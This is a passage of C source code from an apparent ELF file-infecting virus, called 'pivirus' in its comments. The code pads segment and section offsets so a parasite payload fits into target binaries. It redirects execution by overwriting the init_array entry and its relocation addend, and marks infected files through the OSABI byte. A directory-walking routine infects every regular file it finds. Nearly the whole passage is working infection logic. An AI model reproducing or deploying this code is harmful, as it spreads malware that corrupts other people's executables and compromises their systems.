831 | --flag;
832 | }
833 | if ((parasite_len + target_elf->hostilefunc.hostile_len) > target_elf->filehole)
834 | elfphdr->p_offset += PAGE_SIZE;
835 | }
836 | }
837 |
838 | if (target_elf->elfstructs.shdr)
839 | {
840 | for (Elf64_Half i = 0; i < target_elf->elfstructs.ehdr->e_shnum; ++i, ++elfshdr)
841 | {
842 | if ((elfshdr->sh_offset + elfshdr->sh_size) == (target_code_offset + target_code_size))
843 | elfshdr->sh_size += parasite_len;
844 |
845 | if (elfshdr->sh_offset > (target_code_offset + target_code_size))
846 | {
847 | if ((parasite_len + target_elf->hostilefunc.hostile_len) > target_elf->filehole)
848 | elfshdr->sh_offset += PAGE_SIZE;
849 | }
850 | }
851 | if ((parasite_len + target_elf->hostilefunc.hostile_len) > target_elf->filehole)
852 | target_elf->elfstructs.ehdr->e_shoff += PAGE_SIZE;
853 | }
854 |
855 | /*
856 | * - pivirus doesn't alter the original entry point of the target , instead the entry in the init array section that
857 | * corresponds to frame dummy function's address is overwritten with the address of the parasite's entry point
858 | *
859 | * - for ET_DYN binaries there will be a relocation entry for every entry in the init array section with the r_addend member
860 | * of the relocation entry holding the offset of the function in the binary, so the dynamic linker will add the loading
861 | * address of the binary to r_addend value and modify the init array section's entry @ r_offset
862 | */
863 | if (target_elf->elfstructs.ehdr->e_type == ET_DYN)
864 | {
865 | for (uint64_t i = 0; i < (target_elf->elfstructs.relasz / sizeof(Elf64_Rela)); ++i, ++elfrela)
866 | {
867 | if (ELF64_R_TYPE(elfrela->r_info) == R_X86_64_RELATIVE)
868 | {
869 | if (elfrela->r_addend == (Elf64_Sxword)(target_elf->elfstructs.initarray[0]))
870 | {
871 | elfrela->r_addend = (Elf64_Sxword)(target_code_vaddr + target_code_size);
872 | break;
873 | }
874 | }
875 | }
876 | }
877 | *target_elf->elfstructs.initarray = target_code_vaddr + target_code_size;
878 |
879 | target_elf->elfstructs.textphdr->p_memsz += parasite_len + target_elf->hostilefunc.hostile_len;
880 | target_elf->elfstructs.textphdr->p_filesz += parasite_len + target_elf->hostilefunc.hostile_len;
881 |
882 | pi_edit_parasite();
883 |
884 | old_osabi = target_elf->elfstructs.ehdr->e_ident[EI_OSABI];
885 |
886 | if (pi_create_infected_clone() == PI_OPERATION_ERROR)
887 | target_elf->elfstructs.ehdr->e_ident[EI_OSABI] = old_osabi; //infection fails so unmark the binary
888 |
889 | target_cleanup:
890 | pi_munmap((uint64_t)target_elf->mmap,target_elf->stat.st_size);
891 | pi_close(target_elf->fd);
892 | }
893 |
894 | int32_t pi(const char *target_dir)
895 | {
896 | char dirents_buf[DIRENTS_BUF_SIZE];
897 | int64_t fd, nread, syscall_ret;
898 | linux_dirent64_t *dir;
899 |
900 | syscall_ret = pi_chdir(target_dir);
901 | pi_check_syscall_fault(syscall_ret);
902 |
903 | fd = pi_open(target_dir,O_RDONLY | O_DIRECTORY,0);
904 | pi_check_syscall_fault(fd);
905 |
906 | if (pi_mm_getpool() == PI_OPERATION_ERROR)
907 | return PI_OPERATION_ERROR;
908 |
909 | for (;;)
910 | {
911 | nread = pi_getdents64(fd,dirents_buf,DIRENTS_BUF_SIZE);
912 | pi_check_syscall_fault(nread);
913 |
914 | if (nread == 0)
915 | break;
916 |
917 | for (uint64_t pos = 0, i = 0; pos < nread; ++i, pos += dir->d_reclen)
918 | {
919 | dir = (struct linux_dirent64 *)(dirents_buf + pos);
920 |
921 | if (dir->d_type == DT_REG)
922 | {
923 |
924 | target_elf = pi_malloc(sizeof(target_elf_t));
925 |
926 | target_elf->name = dir->d_name;
927 |
928 | pi_infect_target();
929 |
930 | pi_free(target_elf);
931 | }
932 | }
933 | }
934 |
935 | return PI_OPERATION_SUCCESS;
936 | }
937 | void _start(start_args_t start_args)
938 | {
939 | pi(start_args.argv[1]);
940 | pi_exit(0);
941 | }
942 |
943 |
--------------------------------------------------------------------------------